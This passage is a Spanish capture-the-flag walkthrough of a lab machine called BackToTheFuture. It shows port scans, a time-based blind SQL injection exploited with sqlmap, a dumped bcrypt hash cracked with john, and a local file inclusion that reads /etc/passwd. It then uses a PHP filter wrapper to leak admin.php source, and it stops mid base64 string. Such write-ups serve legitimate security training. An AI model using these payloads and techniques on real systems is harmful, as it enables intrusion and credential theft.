# BackToTheFuture

## Enumeration

Vamos a empezar con un escaneo `nmap`:

```bash
┌──(pylon㉿kali)-[~/…/pylon/THL/BackToTheFuture/nmap]
└─$ nmap -p- --open -sS -n -Pn --min-rate=5000 -vvv 192.168.44.133
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 13:16 CEST
Initiating ARP Ping Scan at 13:16
Scanning 192.168.44.133 [1 port]
Completed ARP Ping Scan at 13:16, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:16
Scanning 192.168.44.133 [65535 ports]
Discovered open port 22/tcp on 192.168.44.133
Discovered open port 3306/tcp on 192.168.44.133
Discovered open port 80/tcp on 192.168.44.133
Discovered open port 21/tcp on 192.168.44.133
Completed SYN Stealth Scan at 13:16, 0.70s elapsed (65535 total ports)
Nmap scan report for 192.168.44.133
Host is up, received arp-response (0.00067s latency).
Scanned at 2025-07-20 13:16:17 CEST for 1s
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE REASON
21/tcp   open  ftp     syn-ack ttl 64
22/tcp   open  ssh     syn-ack ttl 64
80/tcp   open  http    syn-ack ttl 64
3306/tcp open  mysql   syn-ack ttl 64
MAC Address: 00:0C:29:79:B9:22 (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
```

Vemos que tiene varios puertos abiertos, vamos a realizar un segundo escaneo para determinar el servicio y versión que corre en el puerto:

```bash
┌──(pylon㉿kali)-[~/…/pylon/THL/BackToTheFuture/nmap]
└─$ nmap -p21,22,80,3306 -sCV 192.168.44.133
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 15:34 CEST
Nmap scan report for 192.168.44.133
Host is up (0.00013s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey:
|   256 f7:c5:4a:ca:73:0e:21:ed:9f:5d:7e:35:65:f6:9f:b2 (ECDSA)
|_  256 fc:f2:e9:1a:ae:3c:da:94:f5:db:11:b2:8b:5c:7f:32 (ED25519)
80/tcp   open  http    Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://hillvalley.thl/
|_http-server-header: Apache/2.4.62 (Debian)
3306/tcp open  mysql   MariaDB 10.3.23 or earlier (unauthorized)
MAC Address: 00:0C:29:79:B9:22 (VMware)
Service Info: Host: _default_; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.47 seconds
```

Vemos que tiene un dominio configurado `hillvalley.thl`, vamos a añadirlo en nuestro `/etc/hosts`:

{% code title="/etc/hosts" %}

```
192.168.44.133 hillvalley.thl
```

{% endcode %}

Vamos a ver la aplicación web:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2F36TY4SzhgPH9fOxqthPR%2Fimage.png?alt=media&#x26;token=5fc5baf7-ac59-41e6-9b72-f917bac8ab61" alt=""><figcaption></figcaption></figure>

Vemos que hay un login, antes de probar cualquier cosa vamos a realizar un fuzzing para ver si hay más cosas en la aplicación:

```bash
┌──(pylon㉿kali)-[~/…/pylon/THL/BackToTheFuture/nmap]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://hillvalley.thl/FUZZ" -e .php,.html,.txt,.js

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://hillvalley.thl/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Extensions       : .php .html .txt .js
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

index.php               [Status: 200, Size: 2948, Words: 656, Lines: 69, Duration: 3ms]
about.php               [Status: 200, Size: 240, Words: 26, Lines: 3, Duration: 0ms]
img                     [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 0ms]
admin.php               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 0ms]
css                     [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 0ms]
js                      [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 0ms]
logout.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 0ms]
config.php              [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 1ms]
logs.php                [Status: 200, Size: 216, Words: 22, Lines: 6, Duration: 0ms]
.php                    [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 1ms]
.html                   [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 1ms]
                        [Status: 200, Size: 2948, Words: 656, Lines: 69, Duration: 6ms]
server-status           [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 1ms]
time_machine.php        [Status: 200, Size: 1121, Words: 134, Lines: 29, Duration: 10ms]
```

Vemos que hay varios archivos, vamos a ir viéndolos:

{% tabs %}
{% tab title="about.php" %}

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FAEzIUSoKMN6LbESNWodf%2Fimage.png?alt=media&#x26;token=fa836642-12f7-465c-8ad2-4537165c79b6" alt=""><figcaption></figcaption></figure>

Vemos que no hay gran cosa, nos habla con que fin fue creada esta aplicación web.
{% endtab %}

{% tab title="logs.php" %}

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FEOmo0qSNxAANfjkFeFWa%2Fimage.png?alt=media&#x26;token=37a37cd1-1898-4e25-9245-27c98be75a54" alt=""><figcaption></figcaption></figure>

Vemos unos logs, donde lo siguiente me llama la atención:

```
[ERROR] 1985-10-26 01:21: Backup fallido: permiso denegado
[INFO]  1985-10-25 23:59: Modificado archivo config.php
```

Nos guardaremos está información si no encontramos nada por el login.
{% endtab %}
{% endtabs %}

## Shell as www-data

Vamos a ver si el login es vulnerable a un `SQLi` para ello lo detectaremos de la siguiente manera:

1. Interceptaremos la consulta con BurpSuite y la enviaremos al `Repeater`:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2Fo7afR4Ovwt4kghpDjqmu%2Fimage.png?alt=media&#x26;token=fe4f6087-06bd-41c2-8338-417a53a73f20" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2F5vNYYXxtbSuOn7tg9fon%2Fimage.png?alt=media&#x26;token=a66269f8-e03c-4889-9631-01ac8598b7c1" alt=""><figcaption></figcaption></figure>

2. Vamos a probar en el campo `username` a añadir una comilla simple, si esto está mal sanitizado por detrás lo que ocurrirá es un fallo en la consulta devolviendo un error o un código de estádo 500 *(Internal Server Error)*:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FTbTxVfhXo8R4W1GnxCF6%2Fimage.png?alt=media&#x26;token=844ecdc9-5c7d-4620-a5a0-fba58f86e6e0" alt=""><figcaption></figcaption></figure>

Esto nos da una buena señal, ya que estamos ocasionando un error en la consulta. Ahora vamos a emplear `sqlmap` para ver ante que posible tipo de SQLi nos podriamos estar enfrentando:

```bash
┌──(pylon㉿kali)-[~/…/pylon/THL/BackToTheFuture/nmap]
└─$ sqlmap -u "http://hillvalley.thl/" --data="username=test&password=test" --batch
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.9.6#stable}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:47:32 /2025-07-20/

[15:47:32] [INFO] resuming back-end DBMS 'mysql'
[15:47:32] [INFO] testing connection to the target URL
[15:47:32] [WARNING] potential permission problems detected ('Access denied')
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=bj2l9mr4c4l...ulr9f6h11u'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test' AND (SELECT 9578 FROM (SELECT(SLEEP(5)))ctfH) AND 'YLkb'='YLkb&password=test
---
[15:47:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:47:32] [INFO] fetched data logged to text files under '/home/pylon/.local/share/sqlmap/output/hillvalley.thl'

[*] ending @ 15:47:32 /2025-07-20/
```

Vemos que estamos ante un Blind SQLi Time Based. Vamos a enumerar las bases de datos con `sqlmap`:

```bash
┌──(pylon㉿kali)-[~/…/pylon/THL/BackToTheFuture/nmap]
└─$ sqlmap -u "http://hillvalley.thl/" --data="username=test&password=test" --dbs --batch
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.9.6#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:49:12 /2025-07-20/

[15:49:12] [INFO] resuming back-end DBMS 'mysql'
[15:49:12] [INFO] testing connection to the target URL
[15:49:12] [WARNING] potential permission problems detected ('Access denied')
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=5vche9cjoeb...qucaibmv4r'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test' AND (SELECT 9578 FROM (SELECT(SLEEP(5)))ctfH) AND 'YLkb'='YLkb&password=test
---
[15:49:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP, Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:49:12] [INFO] fetching database names
[15:49:12] [INFO] fetching number of databases
[15:49:12] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[15:49:12] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
2
[15:49:22] [INFO] retrieved:
[15:49:27] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[15:50:24] [INFO] retrieved: hillvalley
available databases [2]:
[*] hillvalley
[*] information_schema

[15:50:57] [INFO] fetched data logged to text files under '/home/pylon/.local/share/sqlmap/output/hillvalley.thl'

[*] ending @ 15:50:57 /2025-07-20/
```

{% hint style="warning" %}
Puede tardar un rato en enumerarnos todas las bases de datos ya que al ser basada en tiempo tiene que ir letra en letra, solo debemos esperar.
{% endhint %}

Vemos la base de datos `hillvalley`, ahora con el parametro `-D` indicaremos esa base de datos y enumeraremos las tablas:

```bash
┌──(pylon㉿kali)-[~/…/pylon/THL/BackToTheFuture/nmap]
└─$ sqlmap -u "http://hillvalley.thl/" --data="username=test&password=test" -D "hillvalley" --tables --batch
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.9.6#stable}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:52:47 /2025-07-20/

[15:52:47] [INFO] resuming back-end DBMS 'mysql'
[15:52:47] [INFO] testing connection to the target URL
[15:52:47] [WARNING] potential permission problems detected ('Access denied')
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=hld44ufvdvp...9fjji60r01'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test' AND (SELECT 9578 FROM (SELECT(SLEEP(5)))ctfH) AND 'YLkb'='YLkb&password=test
---
[15:52:47] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:52:47] [INFO] fetching tables for database: 'hillvalley'
[15:52:47] [INFO] fetching number of tables for database 'hillvalley'
[15:52:47] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[15:52:47] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
1
[15:52:52] [INFO] retrieved:
[15:53:02] [INFO] adjusting time delay to 1 second due to good response times
users
Database: hillvalley
[1 table]
+-------+
| users |
+-------+

[15:53:15] [INFO] fetched data logged to text files under '/home/pylon/.local/share/sqlmap/output/hillvalley.thl'

[*] ending @ 15:53:15 /2025-07-20/
```

Ya tenemos la tabla!! Ahora vamos a enumerar las columnas. Indicaremos la tabla encontrada con `-T`:

```bash
┌──(pylon㉿kali)-[~/…/pylon/THL/BackToTheFuture/nmap]
└─$ sqlmap -u "http://hillvalley.thl/" --data="username=test&password=test" -D "hillvalley" -T "users" --columns --batch
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.9.6#stable}
|_ -| . [(]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:54:50 /2025-07-20/

[15:54:50] [INFO] resuming back-end DBMS 'mysql'
[15:54:50] [INFO] testing connection to the target URL
[15:54:50] [WARNING] potential permission problems detected ('Access denied')
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=eanuvdsvr7p...8te4c584d9'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test' AND (SELECT 9578 FROM (SELECT(SLEEP(5)))ctfH) AND 'YLkb'='YLkb&password=test
---
[15:54:50] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP, Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:54:50] [INFO] fetching columns for table 'users' in database 'hillvalley'
[15:54:50] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[15:54:50] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[15:55:06] [INFO] adjusting time delay to 1 second due to good response times
3
[15:55:06] [INFO] retrieved: id
[15:55:12] [INFO] retrieved: int(11)
[15:55:37] [INFO] retrieved: username
[15:55:59] [INFO] retrieved: varchar(50)
[15:56:32] [INFO] retrieved: password
[15:56:59] [INFO] retrieved: varchar(320)
Database: hillvalley
Table: users
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(11)      |
| password | varchar(320) |
| username | varchar(50)  |
+----------+--------------+

[15:57:34] [INFO] fetched data logged to text files under '/home/pylon/.local/share/sqlmap/output/hillvalley.thl'

[*] ending @ 15:57:34 /2025-07-20/
```

{% hint style="warning" %}
Puede tardar un rato. La paciencia da el resultado, jeje.
{% endhint %}

Ya tenemos las columnas, vamos a dumpearnos los datos:

```bash
┌──(pylon㉿kali)-[~/…/pylon/THL/BackToTheFuture/nmap]
└─$ sqlmap -u "http://hillvalley.thl/" --data="username=test&password=test" -D "hillvalley" -T "users" -C "username, password" --dump --batch
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.9.6#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:59:21 /2025-07-20/

[15:59:21] [INFO] resuming back-end DBMS 'mysql'
[15:59:21] [INFO] testing connection to the target URL
[15:59:21] [WARNING] potential permission problems detected ('Access denied')
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=4e1k1f9625g...7iff656cko'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test' AND (SELECT 9578 FROM (SELECT(SLEEP(5)))ctfH) AND 'YLkb'='YLkb&password=test
---
[15:59:21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP, Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:59:21] [INFO] fetching entries of column(s) 'password,username' for table 'users' in database 'hillvalley'
[15:59:21] [INFO] fetching number of column(s) 'password,username' entries for table 'users' in database 'hillvalley'
[15:59:21] [INFO] resumed: 1
[15:59:21] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
[15:59:21] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[15:59:36] [INFO] adjusting time delay to 1 second due to good response times
$2y$10$.YPplAJvApyzvxjuWXdeHO1lIkolJIq9GzGERgmHqHLi.1/.zGJhy
[16:03:28] [INFO] retrieved: marty
Database: hillvalley
Table: users
[1 entry]
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| marty    | $2y$10$.YPplAJvApyzvxjuWXdeHO1lIkolJIq9GzGERgmHqHLi.1/.zGJhy |
+----------+--------------------------------------------------------------+

[16:03:43] [INFO] table 'hillvalley.users' dumped to CSV file '/home/pylon/.local/share/sqlmap/output/hillvalley.thl/dump/hillvalley/users.csv'
[16:03:43] [INFO] fetched data logged to text files under '/home/pylon/.local/share/sqlmap/output/hillvalley.thl'

[*] ending @ 16:03:43 /2025-07-20/
```

Tenemos su hash, vamos a emplear `john`:

```bash
┌──(pylon㉿kali)-[~/Desktop/pylon/THL/BackToTheFuture]
└─$ john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
andromeda        (?)
1g 0:00:00:14 DONE (2025-07-20 16:07) 0.06978g/s 261.2p/s 261.2c/s 261.2C/s benji..street
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Bien!! Ya tenemos la contraseña del usuario `marty`. Vamos a probarlas en el login:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2F4X0NNRHFza5budcPTMcC%2Fimage.png?alt=media&#x26;token=38c407c5-d38e-44f3-acac-90a21e2f675d" alt=""><figcaption></figcaption></figure>

Moviéndome por la aplicación web me percato de lo siguiente:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2Ffu0vZiLNbYz2G3oyTXZV%2Fimage.png?alt=media&#x26;token=99dab5bd-7b9f-4b19-8c2f-5a7033434678" alt=""><figcaption></figcaption></figure>

Esto huele a un posible [LFI](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion) vamos a probar poniendo simplemente `/etc/passwd`:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FrqIDNu8WKBhqXXLVUITB%2Fimage.png?alt=media&#x26;token=0d424cde-898b-4a73-8017-6637001fcbe0" alt=""><figcaption></figcaption></figure>

Vamos a ver si podemos usar `PHP Wrappers`:

{% code title="Payload" %}

```
php://filter/convert.base64-encode/resource=admin.php
```

{% endcode %}

Vemos que pudimos emplearlo, vamos a descodificar la cadena *base64*:

{% tabs %}
{% tab title="Cadena base64" %}

```
 PD9waHANCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQpzZXNzaW9uX3N0YXJ0KCk7DQppZiAoIWlzc2V0KCRfU0VTU0lPTlsnbG9nZ2VkX2luJ10pIHx8ICRfU0VTU0lPTlsnbG9nZ2VkX2luJ10gIT09IHRydWUpIHsNCiAgICBoZWFkZXIoIkxvY2F0aW9uOiBpbmRleC5waHAiKTsNCiAgICBleGl0Ow0KfQ0KPz4NCg0KPCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQogICAgDQogICAgPCEtLSBTZSBkaWNlIHF1ZSBlbCBEZUxvcmVhbiBndWFyZGEgc2VjcmV0b3Mgc2kgaW5zcGVjY2lvbsOhcyBiaWVuIC0tPg0KICAgIDx0aXRsZT5IaWxsIFZhbGxleSBBZG1pbiBQYW5lbDwvdGl0bGU+DQogICAgPHN0eWxlPg0KICAgICAgICBib2R5IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwZTBlMWE7DQogICAgICAgICAgICBjb2xvcjogIzAwZmZjYzsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnQ291cmllciBOZXcnLCBDb3VyaWVyLCBtb25vc3BhY2U7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGgyIHsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDFyZW07DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIHAgew0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogLjVyZW07DQogICAgICAgIH0NCg0KICAgICAgICAuY29udGFpbmVyIHsNCiAgICAgICAgICAgIHdpZHRoOiA5MCU7DQogICAgICAgICAgICBtYXJnaW46IDJyZW0gYXV0bzsNCiAgICAgICAgfQ0KDQogICAgICAgIC5uYXYgew0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMS41cmVtOw0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgfQ0KICAgICAgICAubmF2IGEgew0KICAgICAgICAgICAgY29sb3I6ICMwMGZmZmY7DQogICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQogICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDFyZW07DQogICAgICAgICAgICBwYWRkaW5nOiAuNXJlbSAwOw0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMGZmZmY7DQogICAgICAgIH0NCg0KICAgICAgICAudGVybWluYWwgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogIzAwMDAwMDsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMwMGZmY2M7DQogICAgICAgICAgICBwYWRkaW5nOiAxcmVtOw0KICAgICAgICAgICAgdGV4dC13cmFwOiB3cmFwOw0KICAgICAgICAgICAgd29yZC13cmFwOiB3cmFwOw0KICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgICAgICAgIG92ZXJmbG93LXdyYXA6IGJyZWFrLXdvcmQ7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsNCiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyOw0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KDQogICAgICAgIC5pbWcgew0KICAgICAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgICBtYXgtd2lkdGg6IDUwMHB4Ow0KICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7DQogICAgICAgICAgICBtYXJnaW46IDAgYXV0bzsNCiAgICAgICAgfQ0KDQogICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjhweCkgew0KICAgICAgICAgICAgLnRpbWUtcm93IHsNCiAgICAgICAgICAgICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IHJlcGVhdCg2LCBhdXRvKTsNCiAgICAgICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLnRpbWUtcm93IC5jYXB0aW9uIHsNCiAgICAgICAgICAgICAgICBmb250LXNpemU6IDAuOXJlbTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLmNoYXIgew0KICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4zcmVtOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBoMSB7DQogICAgICAgICAgICAgICAgZm9udC1zaXplOiAycmVtOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAuZGVsb3JlYW4tcGFuZWwgew0KICAgICAgICAgICAgICAgIHBhZGRpbmc6IDFyZW07DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAuZmx1eC1jYXJkIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxMTE7DQogICAgICAgICAgICBtYXgtd2lkdGg6IDcwMHB4Ow0KICAgICAgICAgICAgbWFyZ2luOiBhdXRvOw0KICAgICAgICAgICAgcGFkZGluZzogMnJlbTsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEycHg7DQogICAgICAgICAgICBib3gtc2hhZG93OiAwIDAgMjBweCAjMDBmN2ZmNTU7DQogICAgICAgICAgICBib3JkZXI6IDJweCBkYXNoZWQgI2ZiYmMwNTsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOw0KICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICB9DQoNCiAgICAgICAgLmZsdXgtaW1nIHsNCiAgICAgICAgICAgIG1hcmdpbjogMXJlbSBhdXRvOw0KICAgICAgICB9DQoNCiAgICAgICAgLmZsdXgtaW1nIGltZyB7DQogICAgICAgICAgICBtYXgtd2lkdGg6IDEwMCU7DQogICAgICAgICAgICB3aWR0aDogMzAwcHg7DQogICAgICAgICAgICBmaWx0ZXI6IGRyb3Atc2hhZG93KDAgMCAxMHB4ICMwMGY3ZmYpOw0KICAgICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuM3MgZWFzZTsNCiAgICAgICAgfQ0KDQogICAgICAgIC5mbHV4LWltZy5hY3RpdmUgaW1nIHsNCiAgICAgICAgICAgIGFuaW1hdGlvbjogcHVsc2UgMS4ycyBpbmZpbml0ZSBhbHRlcm5hdGU7DQogICAgICAgICAgICBmaWx0ZXI6IGRyb3Atc2hhZG93KDAgMCAyMHB4ICMwMGY3ZmYpOw0KICAgICAgICB9DQoNCiAgICAgICAgLmZsdXgtdGV4dCB7DQogICAgICAgICAgICBjb2xvcjogIzdDRkMwMDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4xcmVtOw0KICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNjsNCiAgICAgICAgICAgIG1hcmdpbi10b3A6IDEuNXJlbTsNCiAgICAgICAgICAgIGFuaW1hdGlvbjogYXBwZWFyVGV4dCAxcyBlYXNlLWluLW91dDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5zd2l0Y2ggew0KICAgICAgICAgICAgbWFyZ2luLXRvcDogMnJlbTsNCiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsNCiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCiAgICAgICAgICAgIHdpZHRoOiA2MHB4Ow0KICAgICAgICAgICAgaGVpZ2h0OiAzNHB4Ow0KICAgICAgICB9DQoNCiAgICAgICAgLnN3aXRjaCBpbnB1dCB7DQogICAgICAgICAgICBvcGFjaXR5OiAwOw0KICAgICAgICAgICAgd2lkdGg6IDA7DQogICAgICAgICAgICBoZWlnaHQ6IDA7DQogICAgICAgIH0NCg0KICAgICAgICAuc2xpZGVyIHsNCiAgICAgICAgICA